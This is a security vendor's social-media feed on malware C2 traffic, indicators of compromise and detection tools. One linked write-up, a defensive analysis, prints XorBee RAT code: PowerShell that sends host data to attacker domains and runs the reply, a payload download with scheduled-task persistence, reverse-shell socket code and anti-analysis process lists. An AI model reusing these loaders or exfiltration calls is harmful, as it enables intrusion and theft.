Sign in

iiinova is part of the Atmosphere — an open, public network where you own your identity.

𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲

@netresec.infosec.exchange.ap.brid.gy
14 followers 2 following 175 posts

Experts in Network Forensics and Network Security Monitoring. Creators of #NetworkMiner, #CapLoader, #PolarProxy, #FlowCarp and #RawCap. #PCAP or it didn't happen! 🌉 bridged from ⁂ infosec.exchange/@netresec, follow @ap.brid.gy to interact

PostsRepliesMedia
𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 15/10/2026
This post by @mttaggart explains why threat intel is best shared widely and promptly. > sharing the information vastly benefits [the attacked organization] and any other potential victims > > accelerate toward disclosure to maximize everyone's safety The argument strongly resonates with the […]
infosec.exchange
Original post on infosec.exchange
011 1
𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 14/10/2026
@abuse_ch Some smartass has reported `blog.xlab.qianxin.com` as a compromised `ClearFake` domain and tagged it #etherhide. The reported blog belongs to a well respected cybersecurity lab in China. The only connection it has to #EtherHiding is that they report on such attack techniques.
threatfox.abuse.ch
ThreatFox | Checking your browser
000 0
𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 12/10/2026
Atlas RAT C2 protocol evolution: * November 2025: `SFuck` check-in and cleartext C2 headers * March 2026: XOR encrypted C2 headers * May 2026: `BFuck` check-in * July 2026: C2 over TLS
000 0
𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 12/10/2026
New #AtlasRAT loader checks in with "BFuck" and the C2 protocol switched to using TLS 📡 23.226.57.50:443 📡 38.76.177.46:443 📡 43.99.101.175:443 📡 45.142.152.180:443 📡 116.204.169.70:443 📡 150.158.50.175:443 📡 156.234.7.48:443 📡 192.252.180.45:443 netresec.com/?b=26A6cc8
netresec.com
Detecting AtlasRAT C2
Around May 2026 Atlas RAT began using a new variant of its command-and-control (C2) protocol. Earlier versions started with a distinctive byte sequence: 53 46 75 63 6b 00 00 00 In ASCII, that is SFuck followed by three null bytes. The newer traffic starts with BFuck, also followed by three null byte[...]
100 1
𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 07/10/2026
NetworkMiner 3.2 Released 🔑 RADIUS authentication extraction 🏭 Better OT/ICS protocol parsers for UMAS and IEC-104 📂 Improved file extraction from PCAP netresec.com/?b=26Aa0d3
netresec.com
NetworkMiner 3.2 Released
NetworkMiner 3.2 parses RADIUS authentication data and extracts more details from the OT/ICS protocols UMAS and IEC-104. The release also improves several existing protocol parsers and fixes file-reassembly issues, helping analysts extract more information from captured network traffic. OT Protocol[...]
000 0
𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 06/10/2026
@james_inthe_box C2 confirmed!
curl -s --data-binary @a434d238-8a9a-4df7-9602-6b725612d389.pcap https://demo.flowcarp.com | jq 'select(.event_type=="alert")'
{
  "timestamp": "2026-10-06T17:38:21.0006940Z",
  "flow_id": 1462406803383104,
  "event_type": "alert",
  "src_ip": "192.168.100.4",
  "src_port": 50380,
  "dest_ip": "64.89.160.127",
  "dest_port": 4561,
  "proto": "TCP",
  "app_proto": "LxBase RAT",
  "alert": {
    "action": "allowed",
    "gid": 1,
    "signature_id": 1471199,
    "rev": 1,
    "signature": "MALWARE protocol detected: LxBase RAT",
    "category": "Malware Command and Control Activity Detected",
    "severity": 1
  },
  "metadata": {
    "community_id": "1:uXLNxSUlX8hUKYoJ1hecesxwccs=",
    "former_category": "MALWARE",
    "signature_severity": "Major"
  }
}
000 0
𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 06/10/2026
Interesting analysis by Fortinet in their ClingSTUN Linux Backdoor writeup. There's a related blog post by @eFeSpain called Twelve alibis and a mailbox that concludes that only **one** of the STUN servers that the malware connects to is controlled by the threat actors, the other ones are just […]
infosec.exchange
Original post on infosec.exchange
000 0
𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 06/10/2026
Your SOC deserves better alerts. FlowCarp helps uncover network activity that traditional detection may miss. netresec.com/?b=26A42c0
netresec.com
Stop Feeding the SOC Garbage
Security operations teams are handling increasing volumes of network events and security alerts. Whether those alerts are reviewed by human analysts, processed by AI, or handled through a combination of both, the result depends on the quality of the underlying detections. No SOC can investigate an i[...]
001 1
𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 29/09/2026
NCSI internet connection
000 0
𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 29/09/2026
RE: infosec.exchange/@alexandreborges/1… The NCSI service mentioned here is the "Network Connectivity Status Indicator" service, which displays a WiFi or Ethernet icon on Windows' taskbar when it discovers an internet access.
infosec.exchange
101 1
𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 29/09/2026
@hrbrmstr That's an interesting observation! Would it make sense to deploy canary files for token discovery and/or fake LLM servers to discover such intent?
100 1
𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 29/09/2026
A dystopian future discussed in STÖK and @Kugg’s latest podcast with Thomas “Skjortan” Olofsson: > AI agents, which are self-replicating like worms [...] finding more GPU's. Sounds a bit dystopic, but it's probably overdue already. www.youtube.com/watch?v=xn5mIBaRzWw…
100 1
𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 29/09/2026
@james_inthe_box That C2 domain has been active on Cloudflare for at least two weeks now...
000 0
𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 29/09/2026
RE: infosec.exchange/@netresec/11735310… It's time to start blocking traffic to workers[.]dev. At least run it through a TLS-inspection proxy before forwarding it to this free malware C2 hosting platform provided by Cloudflare.
000 0
𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 29/09/2026
@james_inthe_box 🔥 hxxps://billowing-boat-0c0f.piloty194.workers[.]dev
100 1
𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 21/09/2026
Malware family identification is hard, especially when samples are packed, encrypted or poorly classified. FlowCarp can help identify the correct malware family and reduce alert overlap. netresec.com/?b=2692109
netresec.com
Unmasking Malware Families
Identifying malware families is hard. Malware samples are often packed, strings encrypted and configurations may only appear after several stages of execution. Even experienced reverse engineers can get the malware family wrong and commercial sandboxes do not always produce correct classifications.[...]
000 0
𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 08/09/2026
PolarProxy 2.0.2 is out! 🧦 SOCKS proxy tunneling 🅿️ Environment variable support ⌛ Improved timeouts 📜 SBOM for supply chain transparency netresec.com/?b=2692ad6
netresec.com
PolarProxy 2.0.2 Released
A few more handy features have been added to PolarProxy, our TLS inspection proxy. PolarProxy can now tunnel outgoing connections through SOCKS proxies and supports environment variables as an alternative to command-line arguments. PolarProxy also ships with a software bill of materials (SBOM), prov[...]
000 0
𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 03/09/2026
@jschauma But... it's not even Christmas!
log4j
000 0
𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 31/08/2026
More info on this philosophy here: netresec.com/?b=26653f3
netresec.com
Maximizing IOC Impact
Ive been thinking about threat intelligence lately. Specifically: indicators of compromise (IOC), how and where to share them to cause maximum pain to adversaries and help as many organizations as possible protect themselves. I regularly analyze malware traffic from sandboxes such as ANY.RUN, Triage[...]
000 0
𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 31/08/2026
Very good point from Harlan Carvey (@keydet89) on why we shouldn’t be afraid to share IOCs and TTPs. Fast, widespread sharing of #threatintel is the best way to bring pain to your adversaries! > Something else that seems to be one of those "universal true-isms" that everyone seems to accept as […]
infosec.exchange
Original post on infosec.exchange
100 1
𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 31/08/2026
@james_inthe_box @Ffforward 🔥 stream.echovale[.]cc 🔥 104.21.6.184:443 (Cloudflare ASN 13335) 🔥 172.67.155.44:443 (Cloudflare ASN 13335)
000 0
𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 31/08/2026
OT networks still need monitoring. We examine the Polish CHP plant hack and show how better network security monitoring could have detected the attackers before they carried out destructive actions. netresec.com/?b=2686c28
netresec.com
OT Networks Still Need Monitoring
CERT Polska recently published a follow-up report detailing the hack of a Polish combined heat and power (CHP) plant in December 2025. CERT Polskas report concludes with several important recommendations, including protecting OT systems through network segmentation and monitoring traffic entering an[...]
000 0
𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 21/08/2026
New blog post: #CNCMachineRMS C2 Protocol We analyze the malware’s binary C2 protocol, DoH usage, related infrastructure and network detection opportunities. netresec.com/?b=268ee19
netresec.com
CNCMachineRMS C2 Protocol
This post describes the binary command-and-control (C2) protocol used by CNCMachineRMS, a recently identified remote access trojan (RAT). We cover how the protocol was discovered, how its infrastructure was identified, and how network defenders can detect it. Background We have been tracking a previ[...]
001 1
𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 20/08/2026
@james_inthe_box The malware config extractor on Triage is quite useful to verify SheetRAT C2 servers. tria.ge/260820-gsa3vsfl2w

Malware Config
Extracted
Family

    sheetrat

Version

    1.8

C2

    neimdmhk.torgports.shop:22565

Mutex

Attributes

    anti_virtual

    false
    certificate

    fejnezt6j95d4z1cec
    exclusion_wd

    true
    hidden_file

    true
    install

    true
    install_watch_dog

    true
    key

    azar24ows
    path_client

    %Windows%\exploler
    path_watch_dog

    %ProgramFiles%\exploler
    pump

    false
    rootkit

    c9urnkfci9p197lqqjuz0k
    task_client

    ShellHost
    use_install_admin

    true
    user_init

    false
010 1
𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 19/08/2026
@james_inthe_box Good find! Looks like they switched domain from `palaera.click` to `spirkex.click`.
000 0
𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 11/08/2026
Update: this malware has now been named `XorBee RAT` rmceoin.github.io/malware-analysis/…
rmceoin.github.io
XorBee RAT
## Summary KongTuke infects legitimate websites and uses the ClickFix technique to convince victims to run malware. Since early 2024 it has delivered several different sorts of malware to victim’s devices. As of at least October 2025, if it is Windows and domain joined, it may potentially download and run what I am calling “XorBee RAT”. XorBee RAT is a reverse shell written in Python. It allows the threat actor to execute Powershell commands on the victim’s computer. Because it it only loaded on domain joined computers, this appears to be intended for organizational victims, not individuals. ## KongTuke ClickFix A KongTuke infected site may potentially display a ClickFix. This will try to convince the user to copy and paste a short malicious script into a command prompt. Here can be seen an infected site from 2026-04-06 where the clipboard was safely pasted into Notepad for examination. --- ClickFix example ## Attack Chain On 2026-04-09 the following attack chain was observed when investigating a KongTuke infected site. The portion to decide whether or not to display the ClickFix is a relatively new flow for KongTuke which involves `/file.js` -> `/t` -> `/g` -> `/c` as of around 2025-03-20. This new flow is it’s own potential blog topic. I will focus on the scripting that happens after the ClickFix is engaged by the victim. --- KongTuke flow After a user is presented with the ClickFix and they paste it into a command prompt, `curl` is used to fetch a payload from `https://oeannon[.]com/t2`, which in turn fetches and executes from `https://plein-soleil[.]top/o`. # o Script The response from `https://plein-soleil[.]top/o` is an obfuscated Powershell script which is piped straight to Powershell without creating a file. This script will be used to check if the workstation is standalone or part of an organization. Depending upon which, it will make two different POST calls. Here is the beginning of the o script: --- Screenshot of o script # o Deobfuscated Carefully copy and pasting portions of the above script into a sandbox eventually yields this deobfuscated version. --- Screenshot of deobfuscated o script The script starts by looking for processes with names for known analysis tools like `wireshark` or `sysmon`. If any are seen, the script exits. $m = @( "wireshark", "processhacker", "fiddler", "procexp", "procmon", "sysmon", "ida", "x32dbg", "x64dbg", "ollydbg", "cheatengine", "scylla", "scylla_x64", "scylla_x86", "immunitydebugger", "windbg", "reshacker", "reshacker32", "reshacker64", "hxd", "ghidra", "lordpe", "tcpview", "netmon", "sniffer", "snort", "apimonitor", "radare2", "procdump", "dbgview", "de4dot", "detectiteasy", "detectit_easy", "dumpcap", "netcat", "bintext", "dependencywalker", "dependencies", "prodiscover", "sysinternals", "netlimiter", "sandboxie", "vmware", "virtualbox", "vmtools", "VMwareService", "VMwareTray", "VBoxService", "VBoxTray", "qemu-ga", "prl_cc" ) Get-Process | ForEach-Object { $processName = $_.Name.ToLower() foreach ($tool in $m) { if ($processName -like "*$tool*") { Write-Host "***" exit } } } Next it checks if the computer’s domain is `WORKGROUP`. This is an indicator that the computer is standalone and likely for home usage by the user. If WORKGROUP then, it performs a POST with `ABCD111` along with the anti-virus product displayname. The response is piped to `iex` (Invoke-Expression) for execution. $domain = (Get-CimInstance Win32_ComputerSystem).Domain if ($domain -eq 'WORKGROUP') { iwr 'https://plein-soleil[.]top/m' ` -Method POST ` -Body @{ message = "ABCD111`n$( Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct | Select-Object -ExpandProperty DisplayName | Out-String )" } ` -ContentType 'application/x-www-form-urlencoded' ` -UseBasicParsing | iex } If the computer is instead domain joined, then a few additional things are gathered and POST’d with `BCDA222`. else { $domain = (Get-CimInstance Win32_ComputerSystem).Domain $av = (Get-CimInstance -Namespace root/SecurityCenter2 -Class AntivirusProduct).displayName -join ', ' $dcCount = (net group "Domain Computers" /domain 2>$null | Select-String '\$').Count * 3 $message = "BCDA222`nAV: $av`n| $domain |`nAD: $dcCount" iwr -Uri 'https://plein-soleil[.]top/m' -Method POST -Body @{message=$message} -ContentType 'application/x-www-form-urlencoded' -useb | iex } To simplify the process of understanding what will be POST’d, carefully copy/pasting the above assignments prior to the `iwr` shows what the `$message` will look like. --- Manual message You can also manually tweak those assignments before any manual hit to `iwr`. --- Manual message What it is looking for is the name of the Active Directory domain name and the number of computers in the Active Directory. Potentially the server may filter out low computer counts. ## m for Domain Joined Computers For this analysis only the domain joined path with the `BCDA222` in the POST was reviewed. When a domain and count was provided the following was the response from `https://plein-soleil[.]top/m`. --- Screenshot of m script On the day of analysis the URL `https://www.updater-worelos[.]com/lsdkfhnwoiu.pdf`, from the first line, was `curl`‘d and the following payload was the response. set "S= " ( for /F "delims=" %a in ('systeminfo') do set "S=!S!;;%a" ) set "R=echo." ( for /F "delims=" %x in ('curl -v -X POST https://defs.updater-worelos[.]com/0oIWAdtB2AUftpdExh1C -H "Content-Type: application/octet-stream" --data-binary "!S!" --max-time 300') do set "R=!R! & %x" ) cmd.exe /v:on /c !R! The additional payload from `https://defs.updater-worelos[.]com/0oIWAdtB2AUftpdExh1C` did not return anything. Potentially this was just an analytics call or maybe in the right scenario something is returned. That is unknown at this time. The `EncodedCommand` for powershell however did prove fruitful. ## XorBee RAT Loader Base64 decoding the second line of the `/m` response yields the XorBee RAT loader. $archiveUrl = "https://plein-soleil[.]top/final10" $dataPath = "$env:LOCALAPPDATA\Microsoft\Windows\SoftwareProtectionPlatform" $downloadPath = "$dataPath\archive.zip" $extractPath = "$dataPath" $pythonScript = "$dataPath\run.pyw" $pythonwPath = "$dataPath\pythonw.exe" $taskName = "SoftwareProtection" try { if (-not (Test-Path $dataPath)) { New-Item -ItemType Directory -Path $dataPath -Force -ErrorAction Stop | Out-Null } Invoke-WebRequest -Uri $archiveUrl -OutFile $downloadPath -ErrorAction Stop | Out-Null Expand-Archive -Path $downloadPath -DestinationPath $extractPath -Force -ErrorAction Stop | Out-Null Remove-Item -Path $downloadPath -Force -ErrorAction Stop | Out-Null $taskCommand = "`"$pythonwPath`" `"$pythonScript`"" schtasks /create /tn "$taskName" /tr $taskCommand /sc minute /mo 120 /f | Out-Null schtasks /run /tn "$taskName" } catch { exit 1 } The above performs the following: * If it doesn’t exist, create the directory `$env:LOCALAPPDATA\Microsoft\Windows\SoftwareProtectionPlatform` * Download a ZIP from `https://plein-soleil.top/final10` and save it within the above directory as `archive.zip` * Extract the ZIP within it’s directory * Delete the ZIP * Create a scheduled task named `SoftwareProtection` to run `$dataPath\pythonw.exe $dataPath\run.pyw` every 2 hours. * Run the task now Overall the job of the m script is to download, create persistence, and then invoke the XorBee RAT. ## archive.zip Inside the ZIP is a self-contained WinPython 3.15.0a7 environment. 3,602 files consisting of libraries, executables, and the XorBee RAT `run.pyw`. $ unzip -l archive.zip Archive: archive.zip Length Date Time Name --------- ---------- ----- ---- 0 2026-04-06 09:38 DLLs/ 6230536 2026-03-10 06:03 DLLs/libcrypto-3.dll 39696 2026-03-10 06:03 DLLs/libffi-8.dll 1326088 2026-03-10 06:03 DLLs/libssl-3.dll 75809 2026-03-10 06:00 DLLs/py.ico 78396 2026-03-10 06:00 DLLs/pyc.ico 83351 2026-03-10 06:00 DLLs/pyd.ico ... 106328 2026-03-10 06:01 python.exe 75096 2026-03-10 06:01 python3.dll 7308120 2026-03-10 06:01 python315.dll 104792 2026-03-10 06:01 pythonw.exe 11076 2026-04-09 09:46 run.pyw 120400 2026-03-10 06:03 vcruntime140.dll 49776 2026-03-10 06:03 vcruntime140_1.dll 190464 2026-04-07 15:18 VS Code.exe 148480 2026-04-07 15:18 WinPython Command Prompt.exe 174080 2026-04-07 15:18 WinPython Control Panel.exe 135680 2026-04-07 15:18 WinPython Interpreter.exe 134144 2026-04-07 15:18 WinPython Powershell Prompt.exe --------- ------- 73032648 3602 files ## run.pyw - XorBee RAT itself The `run.pyw` Python script is obfuscated with the use of zlib compression and base64. The original script hiding inside had multiple rounds of this same zlib compress then base64. This is XorBee RAT. --- Screenshot of run.pyw script ## run.pyw Deobfuscated After manually deobfuscating the original `run.pyw`, a straightforward Python script can be found. --- Screenshot of run.pyw deobfuscated ## Monitoring for Tools First it creates a thread that runs once per second to check for processes with names of known monitoring tools. If one is found, the script exits. This is intended to avoid being analyzed. def check(): while True: time.sleep(1) monitoring_tools = [ "wireshark", "processhacker","taskmgr", "fiddler", "procexp", "procmon", "sysmon", "ida", "x32dbg", "x64dbg", "ollydbg", "cheatengine", "scylla", "scylla_x64", "scylla_x86", "immunitydebugger", "windbg", "reshacker", "reshacker32", "reshacker64", "hxd", "ghidra", "lordpe", "tcpview", "netmon", "sniffer", "snort", "apimonitor", "radare2", "procdump", "dbgview", "de4dot", "detectiteasy", "detectit_easy", "dumpcap", "netcat", "bintext", "dependencywalker", "dependencies", "prodiscover", "sysanonymous", "netlimiter", "sandboxie", "vmware", "virtualbox", "vmtools", "taskmgr" ] for proc in psutil.process_iter(): try: process_name = proc.name().lower() if any(tool in process_name for tool in monitoring_tools): pass os._exit(0) except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess): pass thread3 = threading.Thread(target=check) thread3.start() ## Say Hello to config-app.json Unclear why, but the file `%APPDATA%\config-app.json` is created with contents of `Hello`. app_data_dir = os.getenv("APPDATA") file_path = os.path.join(app_data_dir, "config-app.json") if os.path.exists(file_path): pass else: with open(file_path, "w", encoding="utf-8") as f: f.write("Hello") # C2 and Legacy code There is commented out code from December 2025 followed by the IP address (`195.66.27[.]92`) for the C2. --- Screenshot of run.pyw legacy code The format of Telegraph links is `[Title-MM-DD]` where MM-DD is the day it was posted. This tells us that the commented code referenced a link that was created on 2025-12-19. --- Screenshot of Telegraph The commented out code would have grabbed the `og:description` and used it for the IP of the C2. Based on the current webpage, it seems they cleared it out with a `1`. ## Xor Function The same xor can be used for either encrypting or decrypting so a single function is declared. def xor_encrypt_decrypt(data, key): if isinstance(data, str): data = data.encode('utf-8') return bytes(a ^ b for a, b in zip(data, key * (len(data) // len(key) + 1))) Near the top of the script the xor key is defined as the lowercase letter `b`. This is what inspired the naming of the RAT. I pronounce `XorBee` like ex-or-bee. XOR_KEY = b"b" ## Run Command The function to run commands uses Powershell. The output of the command is returned. If there is no output, then return `GOOD`. --- Screenshot of run_command function ## Get Domain To determine the domain the computer is joined to, `systeminfo` is executed and whatever is after `Domain:` is returned. --- Screenshot of get_domain function ## Connect to Server The function to connect to the server is a straightforward socket connection to the HOST and PORT. In this sample it was address `195.66.27[.]92` and TCP port `4444`. def connect_to_server(): client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.settimeout(SOCKET_TIMEOUT) try: client.connect((HOST, PORT)) return client except Exception: return None ## Authentication In order to authenticate, the authentication key plus a newline is xor’d with the xor key, which is the letter `b`. The xor encrypted auth key is sent to the C2. The response from the C2 is xor’d with `b` and checked if it matches the string `Authentication successful`. If it matches, then success. def authenticate(client): try: client.send(xor_encrypt_decrypt(AUTH_KEY + "\n", XOR_KEY)) encrypted_response = client.recv(1024) response = xor_encrypt_decrypt(encrypted_response, XOR_KEY).decode('utf-8').strip() return "Authentication successful" in response except Exception: return False The AUTH_KEY was defined early in the script as such. AUTH_KEY = "key007" ## main function Finally, after the above functions and constants have been declared, the `main()` function is declared. --- Screenshot of main function It starts by: * Getting the Active Directory domain of the computer * Oddly assign the domain to `username` and potentially use `Unknown` if there wasn’t one. * Enter loop to connect to the C2 * If connection fails, then sleep for 10 seconds and start loop over * Attempt authentication. If it fails, also sleep 10 seconds and then start loop over * Send the domain, encrypted using the xor # Reverse Shell After having successfully connected to the C2 a new loop is begun. --- Screenshot of reverse shell The loop does the following: * Waits for a payload from the C2 * Decrypt the payload with the xor * Unescape any HTML entities * If it receives `delete`, then exit * Otherwise run whatever the decrypted payload was * Send the output from the command back to the C2 Of note is the `delete` command merely exits the script. The persistence from the scheduled task should cause the computer to reconnect within 2 hours. ## History XorBee RAT was previously observed on 2025-10-16. At that time the attack chain looked like this: (compromised site) --> hXXps://pcdcinc[.]com/6n7n.js --> hXXps://pcdcinc[.]com/js.php (ClickFix) --> hXXp://144[.]31.221.84:5555/code777 -> http://144[.]31.221.84:5555/test888 (saved as script.ps1) -> (if domain joined) http://144[.]31.221.84:5555/notify POST message=Jaja111 piped to iex, HTTP response shows filename=test.ps1 -> http://144[.]31.221.84:5555/nothing000 (saved to $env:APPDATA\DATA\archive.zip) There was an extra script run prior to XorRAT. The ZIP contained two Python scripts. The first was `rn.pyw` which is what was scheduled to run every 30 minutes. It checked for monitoring tools. If none were detected, then it ran `data.pyw`. The 2025-10-16 `data.pyw` was the earlier version of the 2026-04-09 `run.pyw`. The code to use the Telegraph dead drop was in use then. The URL was: https://telegra[.]ph/3657468-10-13 At that time grabbing the URL with curl and grep’ing for `og:description` showed that it had content. $ curl -s https://telegra[.]ph/3657468-10-13 | grep og:description <meta property="og:description" content="UFZXFgsJT1BRCRYJUlU="> Base64 decoding and XOR with `abc888` yielded the C2 address. They key `abc888` is still defined in the new version, but it is not used. 144.31.221[.]137 Besides the C2 IP differences, the functional changes from 2025-10-13 and 2026-04-09: * AUTH_KEY changed from `key888` to `key007` * Swap `sysinternals` for `sysanonymous` in the monitor tool check * Hardcode the C2 HOST with an IP instead of using Telegraph dead drop * Create `%APPDATA\config-app.json` with `Hello` There is a non-functional difference of the newer version containing a check if the current working directory is `C:\Windows\System`. current_dir = os.getcwd() normalized_dir = os.path.normcase(current_dir) system32_path = os.path.normcase("C:\\Windows\\System32") if system32_path in normalized_dir or normalized_dir.startswith(system32_path + "\\"): pass else: pass ## Commands Run During the analysis of the 2025-10-16 version, when connected to the C2 the following commands were seen issued. These are very common during initial reconnaissance by threat actors when they land on a domain joined Windows device. tasklist Get-MpComputerStatus whoami systeminfo nltest /domain_trusts nltest /dclist: nltest /trusted_domains Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct | Select-Object DisplayName, ProductState, VersionNumber powershell -WindowStyle Hidden -Command "([adsiSearcher]\"(ObjectClass=computer)\").FindAll().count" ([adsiSearcher]"(ObjectClass=computer)").FindAll().count ([adsisearcher]'(&(objectCategory=user)(servicePrincipalName=*))').FindAll() net user %username% /domain net group "domain admins" /domain net group /domain ## Related to ModeloRAT XorBee RAT is related to ModeloRAT. Both are served by KongTuke. Huntress wrote up ModeloRAT on 2026-01-16. In their blog you can see the very same monitoring tools check as well as the use of `ABCD111` for WORKGROUP and `BCDA222` for domain joined. ModeloRAT is also Python, but is more robust. Per Huntress: > It leverages obfuscation through verbose, misleading class and variable names, implements RC4 encryption for C2 communications, establishes persistence via the Windows Registry, and supports multiple payload types, including executables, DLLs, and Python scripts. Along with numerous other differences, one of note is the C2 communication. ModeloRAT connects using HTTP to the beacon URL `http://{C2_IP}:80/beacon/{client_id}` (as noted by Huntress). Whereas XorBee RAT connects using TCP to port 4444 using a simple socket. ## IOCs Domains windlrr[.]com oeannon[.]com plein-soleil[.]top www.updater-worelos[.]com defs.updater-worelos[.]com pcdcinc[.]com IP Addresses 195.66.27[.]92 XorBee RAT C2 144.31.221[.]84 144.31.221[.]137 XorBee RAT C2 Hashes 2025-10-13 XorBee RAT 896c33f29f4b8e9231c07b628be85b5391d7c25a35d30d94370de9cd3ea564ff archive.zip 5b9c0f85ab4b557ad1b541a0a31536606ae409e488336e1ef4820dd68cc45c06 rn.pyw 0bc2eb43884c1cba1c99065970a3ef7c6368526f859424bd6aadd3fa25c06235 data.pyw 2026-04-09 XorBee RAT 36b6c054e1067be0a2f397f7cfabf0bd45011f60f0fa2d5ece429b4e53037464 archive.zip 7bfd9d58ae585fd28ab730b1e362f9d12612b62894869466cb6ef199321db676 run.pyw
000 0
𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 11/08/2026
@bagder At this speed the throughput bottleneck might actually be TCP rather than curl. If so, at least you did a great job plotting TCP performance over localhost 🤪
000 0
𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 10/08/2026
@bagder Wow, that's more than 40Gbit/s! How far is this from the throughput limit caused by the underlying TCP layer?
100 1
𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 05/08/2026
@james_inthe_box That's interesting. Headless Chrome and Edge instances with `--no-sandbox` could be a decent artifact to hunt for, right? Here's a writeup touching on this: blog.deception.pro/blog/cpuz-trojan…
2026-04-10 10:08:52 > PureLogs Stealer launches headless Chrome and Edge instances with --no-sandbox flags to harvest saved credentials
101 1
𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 03/08/2026
Update: There is now a win.pureminer malware family Malpedia, and `194.169.175.191:39002` has now been updated to the correct `PureMiner` tag on ThreatFox. 🎉 💃 😎
Screenshot of 194.169.175.191:39002 classified as PureMiner on ThreatFox
Source:
https://threatfox.abuse.ch/ioc/1750083/
000 0
𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 03/08/2026
@james_inthe_box AS200051 threatfox.abuse.ch/asn/200051
threatfox.abuse.ch
ThreatFox | Checking your browser
000 0
𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 03/08/2026
@james_inthe_box Thank you for sharing! The #PureLogs C2 server seems to be on 2.27.62.123:4449 Turns out JoeSandbox has history for that C2 server since at least 2026-04-08. www.joesandbox.com/analysis/search?…
PureLogs malware samples on JoeSandbox communicating with PureLogs server on 2.27.62.123
100 1
𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 31/07/2026
Update: The two `zgRAT` IOCs that are less than 6 months old were reported as false positives on ThreatFox. The first one has now been re-classified as PureRAT, while the second one is marked as (Unknown malware)[https://threatfox.abuse.ch/ioc/1750083/]. The reason for the `Unknown` tag is […]
infosec.exchange
Original post on infosec.exchange
100 1
𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 30/07/2026
More on why you shouldn't use the label/tag zgRAT netresec.com/?b=267e877
netresec.com
PureLogs, PureRAT and misleading zgRAT
Please stop classifying malware as zgRAT. That malware label is confusing. As far as I know, there isnt a proper definition of what zgRAT actually is. Some claim that zgRAT is the same malware family as PureLogs, while others argue that zgRAT should be mapped to PureRAT. There is also a blog post by[...]
100 1
𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 30/07/2026
The broken TLS implementation in `PureRAT` has been described in our blog post PureRAT = ResolverRAT = PureHVNC. Examples of such broken TLS traffic to `196.251.86.238:56001` can be found on JoeSandbox and ANY.RUN.
netresec.com
PureRAT = ResolverRAT = PureHVNC
PureRAT is a Remote Access Trojan, which can be used by an attacker to remotely control someone elses PC. PureRAT provides the following features to an attacker: See the victims user interfaceInteract with the victim PC using mouse and keyboardView the webcamListen to the microphoneRecord keystrokes[...]
100 1
𝙽𝙴𝚃𝚁𝙴𝚂𝙴𝙲 @netresec.infosec.exchange.ap.brid.gy · 30/07/2026
FlowCarp classifies `79.110.49.15:39001` as `PureMiner` and the other ones as `PureRAT` or `TLS, PureRAT`. The `TLS` prefix means that PureRAT C2 traffic is encrypted using TLS. Some of the traffic sent to FlowCarp for `196.251.86.238:56001` used proper TLS […] [Original post on infosec.exchange]
